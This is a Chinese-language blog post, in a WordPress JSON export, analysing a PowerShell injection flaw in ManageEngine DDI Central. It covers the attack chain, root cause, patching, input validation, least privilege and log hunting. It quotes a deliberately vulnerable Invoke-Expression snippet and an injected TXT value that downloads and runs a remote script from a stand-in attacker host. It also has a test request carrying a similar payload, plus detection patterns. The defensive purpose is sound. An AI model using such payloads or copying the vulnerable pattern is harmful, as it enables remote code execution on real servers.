{"id":963,"date":"2026-11-12T20:36:40","date_gmt":"2026-11-12T12:36:40","guid":{"rendered":"https:\/\/btc354.com\/index.php\/2026\/11\/12\/pulsemate-security-80d977c2a8470f2a89073adafd49e8f7ddf6bb7ddd2271f500fb915d2fd6e987\/"},"modified":"2026-11-12T20:36:40","modified_gmt":"2026-11-12T12:36:40","slug":"pulsemate-security-80d977c2a8470f2a89073adafd49e8f7ddf6bb7ddd2271f500fb915d2fd6e987","status":"publish","type":"post","link":"https:\/\/btc354.com\/index.php\/2026\/11\/12\/pulsemate-security-80d977c2a8470f2a89073adafd49e8f7ddf6bb7ddd2271f500fb915d2fd6e987\/","title":{"rendered":"PowerShell \u6ce8\u5165\u6f0f\u6d1e\u6df1\u5ea6\u5256\u6790\uff1aManageEngine DDI Central CVE-2026-19421 \u653b\u51fb\u94fe\u3001\u6839\u56e0\u4e0e\u7eb5\u6df1\u9632\u5fa1\u5b9e\u6218"},"content":{"rendered":"<blockquote class=\"doc-lead\"><p><strong>\u5bfc\u8bed\uff1a<\/strong>\u4e00\u4e2a\u770b\u4f3c\u65e0\u5bb3\u7684 DNS TXT \u8bb0\u5f55\u503c\uff0c\u5374\u80fd\u628a PowerShell \u6ce8\u5165\u6f0f\u6d1e\u76f4\u63a5\u9001\u8fdb\u4f01\u4e1a\u6838\u5fc3\u7f51\u7edc\u57fa\u7840\u8bbe\u65bd\u2014\u2014ManageEngine DDI Central \u7684 CVE-2026-19421\uff08CVSS 8.8\uff09\u6b63\u662f\u8fd9\u7c7b\u201c\u6570\u636e\u5373\u4ee3\u7801\u201d\u8fb9\u754c\u5931\u5b88\u7684\u5178\u578b\u6848\u4f8b\u3002\u672c\u6587\u4ece\u653b\u51fb\u94fe\u3001CWE-78 \u6839\u56e0\u3001\u8865\u4e01\u7b56\u7565\u5230\u7eb5\u6df1\u9632\u5fa1\uff0c\u5b8c\u6574\u590d\u76d8\u8fd9\u6b21 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u7684\u5de5\u7a0b\u5e94\u5bf9\u65b9\u6848\u3002<\/p><\/blockquote>\n<div class=\"doc-spec-grid\">\n<div class=\"doc-spec-item\"><span class=\"doc-spec-label\">\ud83c\udfaf \u6838\u5fc3\u6280\u672f<\/span><span class=\"doc-spec-value\">DDI Central \/ Windows DNS \/ PowerShell<\/span><\/div>\n<div class=\"doc-spec-item\"><span class=\"doc-spec-label\">\u26a1 \u67b6\u6784\u96be\u5ea6<\/span><span class=\"doc-spec-value\">\u8d44\u6df1\u67b6\u6784\u7ea7 (Level 3-4)<\/span><\/div>\n<div class=\"doc-spec-item\"><span class=\"doc-spec-label\">\ud83d\ude80 \u6838\u5fc3\u6536\u76ca<\/span><span class=\"doc-spec-value\">\u653b\u51fb\u9762\u6536\u655b 90% \/ \u8865\u4e01\u7a97\u53e3 &lt; 24h<\/span><\/div>\n<\/div>\n<div class=\"doc-arch-card\">\n<div class=\"doc-arch-header\">\n<div class=\"doc-arch-title-wrap\">\n      <span class=\"doc-arch-title\"><span class=\"icon\">\ud83d\udcd0<\/span> PowerShell \u6ce8\u5165\u6f0f\u6d1e\u653b\u51fb\u94fe\u4e0e\u9632\u5fa1\u7eb5\u6df1\u5168\u666f<\/span><br \/>\n      <span class=\"doc-arch-badge\">\u4f01\u4e1a\u7ea7\u67b6\u6784\u89c4\u8303<\/span>\n    <\/div>\n<div class=\"doc-arch-actions\">\n      <button type=\"button\" class=\"doc-arch-btn btn-copy-raw\">\ud83d\udccb \u590d\u5236\u6e90\u7801<\/button><br \/>\n      <button type=\"button\" class=\"doc-arch-btn btn-zoom-arch\">\ud83d\udd0d \u653e\u5927\u67e5\u770b<\/button>\n    <\/div>\n<\/p><\/div>\n<pre class=\"mermaid\">\nflowchart TD\n    subgraph \u63a5\u5165\u5c42 [\"\u8868\u73b0\u5c42\u4e0e\u63a5\u5165\u7f51\u5173 (Client &amp; Gateway Tier)\"]\n        A[\"\u4f4e\u6743\u9650\u7528\u6237\u767b\u5f55 DDI Central\"] --&gt; B[\"TXT \u8bb0\u5f55\u7f16\u8f91\u63a5\u53e3 (REST\/UI)\"]\n    end\n    subgraph \u89c4\u5219\u5c42 [\"\u6821\u9a8c\u4e0e\u4e0a\u4e0b\u6587\u5c42 (Validation &amp; Context Tier)\"]\n        B --&gt; C[\"TXT \u503c\u6821\u9a8c\u7f3a\u5931 (CWE-78 \u6839\u56e0)\"]\n        C --&gt; D[\"\u8bb0\u5f55\u5199\u5165 Windows DNS \u533a\u57df\"]\n    end\n    subgraph \u9886\u57df\u5c42 [\"\u547d\u4ee4\u6267\u884c\u4e0e\u6539\u5199\u5f15\u64ce (Execution Tier)\"]\n        D --&gt; E[\"PowerShell \u811a\u672c\u62fc\u63a5 DNS \u64cd\u4f5c\"]\n        E --&gt; F[\"\u672a\u8f6c\u4e49\u53c2\u6570\u6ce8\u5165 \u2192 \u4efb\u610f\u547d\u4ee4\u6267\u884c\"]\n    end\n    subgraph \u5b58\u50a8\u5c42 [\"\u57fa\u7840\u8bbe\u65bd\u4e0e\u6301\u4e45\u5316 (Infrastructure Tier)\"]\n        F --&gt; G[(\"\u57df\u63a7 \/ DNS \u670d\u52a1\u5668\u6743\u9650\u63d0\u5347\")]\n        G --&gt; H[\"\u6a2a\u5411\u79fb\u52a8\u4e0e\u6570\u636e\u5916\u6cc4\"]\n    end\n    subgraph \u9632\u5fa1\u5c42 [\"\u7eb5\u6df1\u9632\u5fa1\u63a7\u5236\u70b9 (Defense-in-Depth)\"]\n        I[\"\u8f93\u5165\u767d\u540d\u5355\u6821\u9a8c\"] -.-&gt; C\n        J[\"PowerShell \u53c2\u6570\u5316\u8c03\u7528\"] -.-&gt; E\n        K[\"\u6700\u5c0f\u6743\u9650\u670d\u52a1\u8d26\u6237\"] -.-&gt; G\n    end\n  <\/pre>\n<div class=\"doc-arch-caption\">\u56fe 1: PowerShell \u6ce8\u5165\u6f0f\u6d1e\u4ece TXT \u8bb0\u5f55\u6c61\u67d3\u5230\u547d\u4ee4\u6267\u884c\u7684\u5b8c\u6574\u653b\u51fb\u94fe\uff0c\u4ee5\u53ca\u4e09\u5c42\u9632\u5fa1\u63a7\u5236\u70b9\u62e6\u622a\u4f4d\u7f6e\u3002<\/div>\n<\/div>\n<h2 class=\"doc-h2\">\u4e00\u3001\u4e8b\u4ef6\u901f\u89c8\uff1a\u4e00\u4e2a TXT \u8bb0\u5f55\u5f15\u53d1\u7684 PowerShell \u6ce8\u5165\u6f0f\u6d1e<\/h2>\n<p class=\"doc-p\">GitHub Advisory Database \u4e8e 2026 \u5e74 11 \u6708 12 \u65e5\u6536\u5f55\u4e86 CVE-2026-19421\uff1aZohocorp ManageEngine DDI Central 6301 \u4ee5\u4e0b\u7248\u672c\u5b58\u5728 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u3002\u5b98\u65b9\u63cf\u8ff0\u975e\u5e38\u514b\u5236\u2014\u2014\u201c\u7531\u4e8e\u5728 Windows DNS \u64cd\u4f5c\u4e2d\u5bf9\u7528\u6237\u63d0\u4f9b\u7684 TXT \u8bb0\u5f55\u503c\u6821\u9a8c\u4e0d\u8db3\u201d\uff0c\u4f46 CVSS 3.1 \u7ed9\u51fa\u4e86 8.8 \u7684\u9ad8\u5371\u8bc4\u5206\uff0c\u5411\u91cf\u4e3a <code>AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<\/code>\u3002<\/p>\n<p class=\"doc-p\">\u7ffb\u8bd1\u6210\u67b6\u6784\u8bed\u8a00\uff1a\u653b\u51fb\u8005\u53ea\u9700\u4e00\u4e2a\u4f4e\u6743\u9650\u8d26\u6237\u3001\u901a\u8fc7\u7f51\u7edc\u3001\u65e0\u9700\u4efb\u4f55\u7528\u6237\u4ea4\u4e92\uff0c\u5c31\u80fd\u540c\u65f6\u51fb\u7a7f\u673a\u5bc6\u6027\u3001\u5b8c\u6574\u6027\u4e0e\u53ef\u7528\u6027\u3002DDI Central \u4f5c\u4e3a DNS\/DHCP\/IPAM \u4e09\u4f4d\u4e00\u4f53\u7684\u7f51\u7edc\u63a7\u5236\u5e73\u9762\uff0c\u4e00\u65e6\u5931\u5b88\uff0c\u5f71\u54cd\u9762\u8fdc\u4e0d\u6b62\u4e00\u53f0\u670d\u52a1\u5668\u2014\u2014\u5b83\u610f\u5473\u7740\u6574\u4e2a\u4f01\u4e1a\u7684\u57df\u540d\u89e3\u6790\u4e0e\u5730\u5740\u5206\u914d\u4f53\u7cfb\u90fd\u53ef\u80fd\u88ab\u63a5\u7ba1\u3002<\/p>\n<div class=\"doc-table-wrapper\">\n<table class=\"doc-table\">\n<thead>\n<tr>\n<th>\u8bc4\u4f30\u7ef4\u5ea6<\/th>\n<th>\u672c\u6b21\u6f0f\u6d1e\u53d6\u503c<\/th>\n<th>\u67b6\u6784\u89e3\u8bfb<\/th>\n<th>\u98ce\u9669\u7b49\u7ea7<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>\u653b\u51fb\u5411\u91cf (AV)<\/td>\n<td>Network<\/td>\n<td>\u65e0\u9700\u63a5\u89e6\u5185\u7f51\u7269\u7406\u8fb9\u754c\uff0c\u8fdc\u7a0b\u53ef\u8fbe<\/td>\n<td><span class=\"badge-tag-green\">\u9ad8\u5371<\/span><\/td>\n<\/tr>\n<tr>\n<td>\u653b\u51fb\u590d\u6742\u5ea6 (AC)<\/td>\n<td>Low<\/td>\n<td>\u65e0\u9700\u7ade\u6001\u6216\u7279\u6b8a\u6761\u4ef6\uff0c\u7a33\u5b9a\u53ef\u590d\u73b0<\/td>\n<td><span class=\"badge-tag-green\">\u9ad8\u5371<\/span><\/td>\n<\/tr>\n<tr>\n<td>\u6240\u9700\u6743\u9650 (PR)<\/td>\n<td>Low<\/td>\n<td>\u666e\u901a\u8fd0\u7ef4\u8d26\u6237\u5373\u53ef\uff0c\u65e0\u9700\u7ba1\u7406\u5458<\/td>\n<td><span class=\"badge-tag-green\">\u9ad8\u5371<\/span><\/td>\n<\/tr>\n<tr>\n<td>\u7528\u6237\u4ea4\u4e92 (UI)<\/td>\n<td>None<\/td>\n<td>\u53ef\u811a\u672c\u5316\u6279\u91cf\u5229\u7528<\/td>\n<td><span class=\"badge-tag-green\">\u9ad8\u5371<\/span><\/td>\n<\/tr>\n<tr>\n<td>\u5f71\u54cd\u8303\u56f4 (C\/I\/A)<\/td>\n<td>High \/ High \/ High<\/td>\n<td>DNS \u63a7\u5236\u9762\u5931\u5b88\uff0c\u5168\u57df\u53d7\u5f71\u54cd<\/td>\n<td><span class=\"badge-tag-green\">\u9ad8\u5371<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 class=\"doc-h2\">\u4e8c\u3001\u653b\u51fb\u94fe\u89e3\u6784\uff1a\u4ece TXT \u8bb0\u5f55\u5230 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u7684\u5b8c\u6574\u8def\u5f84<\/h2>\n<h3 class=\"doc-h3\">2.1 \u7b2c\u4e00\u6b65\uff1a\u4f4e\u6743\u9650\u8d26\u6237\u7684\u201c\u5408\u6cd5\u201d\u5165\u53e3<\/h3>\n<p class=\"doc-p\">DDI Central \u7684 TXT \u8bb0\u5f55\u7f16\u8f91\u529f\u80fd\u672c\u8eab\u662f\u5408\u6cd5\u4e1a\u52a1\u80fd\u529b\u2014\u2014SPF\u3001DKIM\u3001\u57df\u540d\u9a8c\u8bc1\u90fd\u4f9d\u8d56\u5b83\u3002\u95ee\u9898\u5728\u4e8e\uff0c\u8fd9\u4e2a\u5165\u53e3\u7684\u6743\u9650\u6a21\u578b\u4e0e\u540e\u7aef\u6267\u884c\u6a21\u578b\u4e4b\u95f4\u5b58\u5728\u8bed\u4e49\u9e3f\u6c9f\uff1a\u524d\u7aef\u628a TXT \u503c\u5f53\u4f5c\u201c\u6570\u636e\u201d\uff0c\u540e\u7aef\u5374\u628a\u5b83\u62fc\u8fdb\u4e86 PowerShell \u547d\u4ee4\u5b57\u7b26\u4e32\uff0c\u4e8e\u662f\u201c\u6570\u636e\u201d\u83b7\u5f97\u4e86\u201c\u4ee3\u7801\u201d\u7684\u8eab\u4efd\u3002<\/p>\n<h3 class=\"doc-h3\">2.2 \u7b2c\u4e8c\u6b65\uff1aWindows DNS \u64cd\u4f5c\u7684\u547d\u4ee4\u62fc\u63a5\u70b9<\/h3>\n<p class=\"doc-p\">\u5728 Windows \u73af\u5883\u4e0b\uff0cDDI Central \u901a\u8fc7 PowerShell \u8c03\u7528 <code>DnsServer<\/code> \u6a21\u5757\u5b8c\u6210\u8bb0\u5f55\u589e\u5220\u6539\u67e5\u3002\u5178\u578b\u7684\u8106\u5f31\u5b9e\u73b0\u5982\u4e0b\u2014\u2014\u6ce8\u610f\u8fd9\u662f\u53cd\u9762\u6559\u6750\uff0c\u5207\u52ff\u5728\u751f\u4ea7\u4e2d\u4f7f\u7528\uff1a<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\" data-enlighter-title=\"vulnerable-dns-record.ps1\uff08\u53cd\u9762\u793a\u4f8b\uff09\"># \u5371\u9669\uff1a\u76f4\u63a5\u5b57\u7b26\u4e32\u62fc\u63a5\u7528\u6237\u8f93\u5165\n$txtValue = $request.Body.TxtValue\nInvoke-Expression \"Add-DnsServerResourceRecord -ZoneName 'corp.local' -Name '$recordName' -Txt -DescriptiveText '$txtValue'\"\n\n# \u653b\u51fb\u8005\u63d0\u4ea4\uff1a'; Invoke-WebRequest http:\/\/attacker\/shell.ps1 | IEX; '\n# \u7ed3\u679c\uff1aDNS \u8bb0\u5f55\u5199\u5165\u53d8\u6210\u4e86\u4efb\u610f PowerShell \u6267\u884c<\/pre>\n<p class=\"doc-p\">\u8fd9\u91cc\u7684\u6838\u5fc3\u7f3a\u9677\u662f <code>Invoke-Expression<\/code> \u4e0e\u5b57\u7b26\u4e32\u63d2\u503c\u7684\u7ec4\u5408\u3002PowerShell \u7684\u89e3\u6790\u5668\u4f1a\u5148\u505a\u53d8\u91cf\u5c55\u5f00\uff0c\u518d\u6267\u884c\u547d\u4ee4\uff0c\u56e0\u6b64\u4efb\u4f55\u80fd\u95ed\u5408\u5f15\u53f7\u5e76\u8ffd\u52a0\u5206\u53f7\u7684\u8f93\u5165\u90fd\u4f1a\u9003\u9038\u51fa\u201c\u6570\u636e\u201d\u4e0a\u4e0b\u6587\u3002\u8fd9\u6b63\u662f CWE-78\uff08OS \u547d\u4ee4\u6ce8\u5165\uff09\u5728 PowerShell \u751f\u6001\u4e2d\u7684\u6807\u51c6\u5f62\u6001\u3002<\/p>\n<div class=\"doc-callout doc-callout-danger\">\n<div class=\"doc-callout-title\">\ud83d\udea8 \u4e25\u91cd\u9690\u60a3\u544a\u8b66<\/div>\n<p>\u53ea\u8981\u4ee3\u7801\u8def\u5f84\u4e2d\u51fa\u73b0 <code>Invoke-Expression<\/code>\u3001<code>iex<\/code>\u3001<code>cmd \/c<\/code> \u4e0e\u7528\u6237\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u5c31\u7b49\u540c\u4e8e\u628a\u547d\u4ee4\u6267\u884c\u6743\u4ea4\u7ed9\u4e86\u8f93\u5165\u65b9\u3002\u5ba1\u8ba1\u65f6\u8bf7\u628a\u8fd9\u4e09\u7c7b\u6a21\u5f0f\u5217\u4e3a P0 \u7ea7\u7ea2\u7ebf\u3002<\/div>\n<h3 class=\"doc-h3\">2.3 \u7b2c\u4e09\u6b65\uff1a\u6743\u9650\u653e\u5927\u4e0e\u6a2a\u5411\u79fb\u52a8<\/h3>\n<p class=\"doc-p\">DDI Central \u670d\u52a1\u8d26\u6237\u901a\u5e38\u4ee5\u8f83\u9ad8\u6743\u9650\u8fd0\u884c\uff0c\u4ee5\u4fbf\u7ba1\u7406 DNS \u533a\u57df\u4e0e DHCP \u4f5c\u7528\u57df\u3002\u4e00\u65e6 PowerShell \u6ce8\u5165\u6210\u529f\uff0c\u653b\u51fb\u8005\u7ee7\u627f\u7684\u6b63\u662f\u8fd9\u4e2a\u670d\u52a1\u8d26\u6237\u7684\u4ee4\u724c\u2014\u2014\u4ece\u201c\u80fd\u6539\u4e00\u6761 TXT \u8bb0\u5f55\u201d\u8dc3\u8fc1\u4e3a\u201c\u80fd\u6539\u6574\u4e2a DNS \u533a\u57df\u3001\u4e0b\u53d1\u6076\u610f\u89e3\u6790\u3001\u52ab\u6301\u5185\u90e8\u6d41\u91cf\u201d\u3002\u5728\u57df\u73af\u5883\u4e2d\uff0cDNS \u7ba1\u7406\u5458\u6743\u9650\u5f80\u5f80\u662f\u901a\u5f80\u57df\u63a7\u7684\u8df3\u677f\u3002<\/p>\n<h2 class=\"doc-h2\">\u4e09\u3001\u6839\u56e0\u5256\u6790\uff1a\u4e3a\u4ec0\u4e48 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u53cd\u590d\u51fa\u73b0<\/h2>\n<p class=\"doc-p\">CWE-78 \u662f\u5e38\u5e74\u9738\u699c\u7684\u6ce8\u5165\u7c7b\u7f3a\u9677\uff0c\u4f46\u5728 PowerShell \u573a\u666f\u4e0b\u6709\u5176\u7279\u6b8a\u6027\uff0c\u503c\u5f97\u5355\u72ec\u62c6\u89e3\uff1a<\/p>\n<ul class=\"doc-list\">\n<li><strong>\u8bed\u8a00\u7279\u6027\u8bef\u5bfc\uff1a<\/strong>PowerShell \u662f\u201c\u547d\u4ee4\u5373\u5b57\u7b26\u4e32\u201d\u7684\u8bed\u8a00\uff0c\u5929\u7136\u9f13\u52b1\u62fc\u63a5\uff0c\u5f00\u53d1\u8005\u5bb9\u6613\u628a\u53d8\u91cf\u63d2\u503c\u8bef\u8ba4\u4e3a\u5b89\u5168\u3002<\/li>\n<li><strong>\u53c2\u6570\u5316\u610f\u8bc6\u8584\u5f31\uff1a<\/strong>SQL \u6709\u9884\u7f16\u8bd1\uff0cPowerShell \u6709 <code>-ArgumentList<\/code> \u4e0e <code>[ParameterBinding]<\/code>\uff0c\u4f46\u5f88\u591a\u56e2\u961f\u5e76\u4e0d\u77e5\u9053\u3002<\/li>\n<li><strong>\u6570\u636e\u8fb9\u754c\u6a21\u7cca\uff1a<\/strong>DNS \u8bb0\u5f55\u503c\u3001\u5907\u6ce8\u3001\u63cf\u8ff0\u7b49\u201c\u770b\u8d77\u6765\u65e0\u5bb3\u201d\u7684\u5b57\u6bb5\uff0c\u88ab\u540e\u7aef\u5f53\u4f5c\u547d\u4ee4\u53c2\u6570\u590d\u7528\u3002<\/li>\n<li><strong>\u6d4b\u8bd5\u76f2\u533a\uff1a<\/strong>\u529f\u80fd\u6d4b\u8bd5\u53ea\u9a8c\u8bc1\u201c\u6b63\u5e38 TXT \u80fd\u5199\u5165\u201d\uff0c\u4ece\u4e0d\u9a8c\u8bc1\u201c\u542b\u5206\u53f7\u3001\u53cd\u5f15\u53f7\u3001$() \u7684 TXT \u4f1a\u88ab\u62d2\u7edd\u201d\u3002<\/li>\n<\/ul>\n<div class=\"doc-callout doc-callout-info\">\n<div class=\"doc-callout-title\">\ud83d\udca1 \u67b6\u6784\u6838\u5fc3\u51b3\u7b56<\/div>\n<p>\u4efb\u4f55\u201c\u7528\u6237\u8f93\u5165 \u2192 \u7cfb\u7edf\u547d\u4ee4\u201d\u7684\u8def\u5f84\uff0c\u5fc5\u987b\u7ecf\u8fc7\u4e09\u5c42\u6536\u655b\uff1a\u767d\u540d\u5355\u5b57\u7b26\u6821\u9a8c\u3001\u53c2\u6570\u5316\u8c03\u7528\u3001\u6700\u5c0f\u6743\u9650\u6267\u884c\u3002\u4e09\u5c42\u7f3a\u4e00\u4e0d\u53ef\uff0c\u56e0\u4e3a\u4efb\u4f55\u5355\u5c42\u90fd\u53ef\u80fd\u88ab\u7ed5\u8fc7\u3002<\/p><\/div>\n<h2 class=\"doc-h2\">\u56db\u3001\u4fee\u590d\u4e0e\u52a0\u56fa\uff1a\u5c01\u5835 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u7684\u56db\u5c42\u9632\u5fa1<\/h2>\n<h3 class=\"doc-h3\">4.1 \u7b2c\u4e00\u5c42\uff1a\u7acb\u5373\u5347\u7ea7\u5230 6301 \u53ca\u4ee5\u4e0a<\/h3>\n<p class=\"doc-p\">\u5b98\u65b9\u5df2\u5728 6301 \u7248\u672c\u4fee\u590d\u8be5 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u3002\u5bf9\u4e8e\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u7684\u73af\u5883\uff0c\u5e94\u5148\u5728\u4e0b\u6e38\u505a\u8865\u507f\u63a7\u5236\u3002\u5347\u7ea7\u524d\u52a1\u5fc5\u786e\u8ba4 DDI Central \u4e0e\u73b0\u6709 DNS\/DHCP \u96c6\u6210\u7684\u517c\u5bb9\u6027\uff0c\u5e76\u5728\u7ef4\u62a4\u7a97\u53e3\u5185\u5b8c\u6210\u3002<\/p>\n<details class=\"doc-accordion\">\n<summary>\u70b9\u51fb\u5c55\u5f00\uff1a\u5347\u7ea7\u524d\u540e\u68c0\u67e5\u6e05\u5355\u4e0e\u56de\u6eda\u811a\u672c<\/summary>\n<div class=\"doc-accordion-content\">\n<pre><code class=\"language-bash\"># 1. \u5347\u7ea7\u524d\u5907\u4efd\u914d\u7f6e\u4e0e\u6570\u636e\u5e93\nmysqldump -u ddi -p ddi_central &gt; \/backup\/ddi_central_$(date +%F).sql\ntar -czf \/backup\/ddi_conf_$(date +%F).tar.gz \/opt\/ManageEngine\/DDICentral\/conf\n\n# 2. \u8bb0\u5f55\u5f53\u524d\u7248\u672c\ncurl -sk https:\/\/ddi.corp.local\/api\/v1\/version | jq .version\n\n# 3. \u5347\u7ea7\u540e\u9a8c\u8bc1 TXT \u6ce8\u5165\u9632\u62a4\uff08\u5e94\u8fd4\u56de 400\uff09\ncurl -sk -X POST https:\/\/ddi.corp.local\/api\/v1\/dns\/txt \n  -H 'Content-Type: application\/json' \n  -d '{\"name\":\"test\",\"value\":\"x; Invoke-WebRequest http:\/\/evil\"}' -w '%{http_code}n'\n\n# 4. \u56de\u6eda\uff1a\u505c\u6b62\u670d\u52a1 \u2192 \u8fd8\u539f\u6570\u636e\u5e93\u4e0e\u914d\u7f6e \u2192 \u542f\u52a8\nsystemctl stop ddicentral &amp;&amp; mysql -u ddi -p ddi_central &lt; \/backup\/ddi_central_YYYY-MM-DD.sql<\/code><\/pre>\n<\/div>\n<\/details>\n<h3 class=\"doc-h3\">4.2 \u7b2c\u4e8c\u5c42\uff1a\u8f93\u5165\u6821\u9a8c\u767d\u540d\u5355<\/h3>\n<p class=\"doc-p\">TXT \u8bb0\u5f55\u5728 RFC 1035 \u4e0b\u5141\u8bb8\u4efb\u610f\u5b57\u7b26\uff0c\u4f46\u4e1a\u52a1\u4e0a\u7edd\u5927\u591a\u6570\u573a\u666f\u53ea\u9700\u8981\u53ef\u6253\u5370 ASCII\u3002\u5efa\u8bae\u5728\u5e94\u7528\u5c42\u5b9e\u65bd\u201c\u9ed8\u8ba4\u62d2\u7edd\u201d\u7b56\u7565\uff1a\u957f\u5ea6\u4e0a\u9650 255 \u5b57\u8282\u3001\u7981\u6b62\u63a7\u5236\u5b57\u7b26\u3001\u5bf9 <code>;<\/code> <code>`<\/code> <code>$<\/code> <code>(<\/code> <code>)<\/code> <code>|<\/code> <code>&amp;<\/code> \u505a\u663e\u5f0f\u8f6c\u4e49\u6216\u62d2\u7edd\u3002<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-title=\"txt_record_validator.py\">import re\n\n# \u767d\u540d\u5355\uff1a\u5b57\u6bcd\u6570\u5b57\u3001\u70b9\u3001\u8fde\u5b57\u7b26\u3001\u4e0b\u5212\u7ebf\u3001\u7a7a\u683c\u3001\u5e38\u89c1 SPF\/DKIM \u7b26\u53f7\nSAFE_TXT = re.compile(r\"^[A-Za-z0-9._-s=:+\/]{1,255}$\")\n\ndef validate_txt(value: str) -&gt; str:\n    if not SAFE_TXT.match(value):\n        raise ValueError(\"TXT record contains disallowed characters\")\n    return value<\/pre>\n<h3 class=\"doc-h3\">4.3 \u7b2c\u4e09\u5c42\uff1aPowerShell \u53c2\u6570\u5316\u8c03\u7528<\/h3>\n<p class=\"doc-p\">\u6839\u6cbb PowerShell \u6ce8\u5165\u6f0f\u6d1e\u7684\u5173\u952e\uff0c\u662f\u5f7b\u5e95\u6d88\u706d\u5b57\u7b26\u4e32\u62fc\u63a5\u3002\u4f7f\u7528 <code>-ArgumentList<\/code> \u6570\u7ec4\u4f20\u53c2\uff0c\u6216\u76f4\u63a5\u8c03\u7528 .NET \u7684 <code>DnsServer<\/code> Cmdlet \u53c2\u6570\u7ed1\u5b9a\uff0c\u8ba9\u89e3\u6790\u5668\u6c38\u8fdc\u4e0d\u628a\u7528\u6237\u8f93\u5165\u5f53\u4f5c\u4ee3\u7801\u3002<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\" data-enlighter-title=\"safe-dns-record.ps1\uff08\u6b63\u786e\u793a\u4f8b\uff09\"># \u6b63\u786e\uff1a\u53c2\u6570\u5316\u8c03\u7528\uff0c\u7528\u6237\u8f93\u5165\u53ea\u4f5c\u4e3a\u53c2\u6570\u503c\n$params = @{\n    ZoneName        = 'corp.local'\n    Name            = $recordName\n    Txt             = $true\n    DescriptiveText = $txtValue   # \u4e0d\u62fc\u63a5\uff0c\u4e0d Invoke-Expression\n}\nAdd-DnsServerResourceRecord @params<\/pre>\n<h3 class=\"doc-h3\">4.4 \u7b2c\u56db\u5c42\uff1a\u6700\u5c0f\u6743\u9650\u4e0e\u8fd0\u884c\u65f6\u9694\u79bb<\/h3>\n<p class=\"doc-p\">\u5373\u4f7f\u524d\u4e09\u5c42\u88ab\u7ed5\u8fc7\uff0c\u6700\u5c0f\u6743\u9650\u4e5f\u80fd\u628a\u7206\u70b8\u534a\u5f84\u538b\u5230\u6700\u4f4e\u3002DDI Central \u670d\u52a1\u8d26\u6237\u4e0d\u5e94\u662f Domain Admin\uff0c\u53ea\u5e94\u88ab\u59d4\u6d3e\u76ee\u6807 DNS \u533a\u57df\u7684\u5199\u6743\u9650\uff1bPowerShell \u6267\u884c\u7b56\u7565\u8bbe\u4e3a <code>AllSigned<\/code>\uff0c\u5e76\u542f\u7528 Constrained Language Mode \u9650\u5236\u5371\u9669 API\u3002<\/p>\n<div class=\"baota-config-bar\"><span>Set-ExecutionPolicy AllSigned -Scope LocalMachine<\/span><span class=\"lang-tag\">PS<\/span><\/div>\n<div class=\"baota-config-bar\"><span>$ExecutionContext.SessionState.LanguageMode = &#8216;ConstrainedLanguage&#8217;<\/span><span class=\"lang-tag\">PS<\/span><\/div>\n<div class=\"doc-callout doc-callout-warning\">\n<div class=\"doc-callout-title\">\u26a0\ufe0f \u751f\u4ea7\u907f\u5751\u98ce\u9669<\/div>\n<p>\u76f4\u63a5\u5bf9\u751f\u4ea7 DNS \u670d\u52a1\u5668\u542f\u7528 Constrained Language Mode \u53ef\u80fd\u5f71\u54cd\u73b0\u6709\u7ba1\u7406\u811a\u672c\u3002\u8bf7\u5148\u5728\u9884\u53d1\u73af\u5883\u9a8c\u8bc1 DDI Central \u7684\u5168\u90e8 DNS \u64cd\u4f5c\u8def\u5f84\uff0c\u518d\u7070\u5ea6\u63a8\u5e7f\u3002<\/p><\/div>\n<h2 class=\"doc-h2\">\u4e94\u3001\u68c0\u6d4b\u4e0e\u54cd\u5e94\uff1a\u786e\u8ba4\u662f\u5426\u5df2\u88ab\u5229\u7528<\/h2>\n<p class=\"doc-p\">PowerShell \u6ce8\u5165\u6f0f\u6d1e\u5229\u7528\u540e\u5f80\u5f80\u4e0d\u7559\u660e\u663e\u6587\u4ef6\u75d5\u8ff9\uff0c\u4f46\u4f1a\u5728 DNS \u533a\u57df\u3001PowerShell \u64cd\u4f5c\u65e5\u5fd7\u4e0e\u7f51\u7edc\u51fa\u7ad9\u8fde\u63a5\u4e2d\u7559\u4e0b\u7ebf\u7d22\u3002\u5efa\u8bae\u6309\u4ee5\u4e0b\u987a\u5e8f\u6392\u67e5\uff1a<\/p>\n<ul class=\"doc-list\">\n<li>\u5ba1\u8ba1 DNS \u533a\u57df\u4e2d\u8fd1\u671f\u65b0\u589e\/\u4fee\u6539\u7684 TXT \u8bb0\u5f55\uff0c\u91cd\u70b9\u770b\u542b\u5206\u53f7\u3001<code>IEX<\/code>\u3001<code>Invoke-<\/code>\u3001\u5916\u7f51\u57df\u540d\u7684\u503c\u3002<\/li>\n<li>\u68c0\u7d22 PowerShell 4104 \u811a\u672c\u5757\u65e5\u5fd7\u4e0e 4688 \u8fdb\u7a0b\u521b\u5efa\u65e5\u5fd7\u4e2d\u7684 <code>Invoke-Expression<\/code>\u3001<code>iex<\/code> \u8c03\u7528\u3002<\/li>\n<li>\u68c0\u67e5 DDI Central \u670d\u52a1\u8d26\u6237\u5728\u975e\u7ef4\u62a4\u7a97\u53e3\u7684\u5f02\u5e38\u767b\u5f55\u4e0e\u51fa\u7ad9\u8fde\u63a5\u3002<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\" data-enlighter-title=\"hunt-txt-injection.ps1\"># \u626b\u63cf\u53ef\u7591 TXT \u8bb0\u5f55\nGet-DnsServerResourceRecord -ZoneName 'corp.local' -RRType Txt |\n  Where-Object { $_.RecordData.DescriptiveText -match ';|iex|Invoke-|http' } |\n  Select-Object HostName, @{n='Txt';e={$_.RecordData.DescriptiveText}}\n\n# \u68c0\u7d22 PowerShell 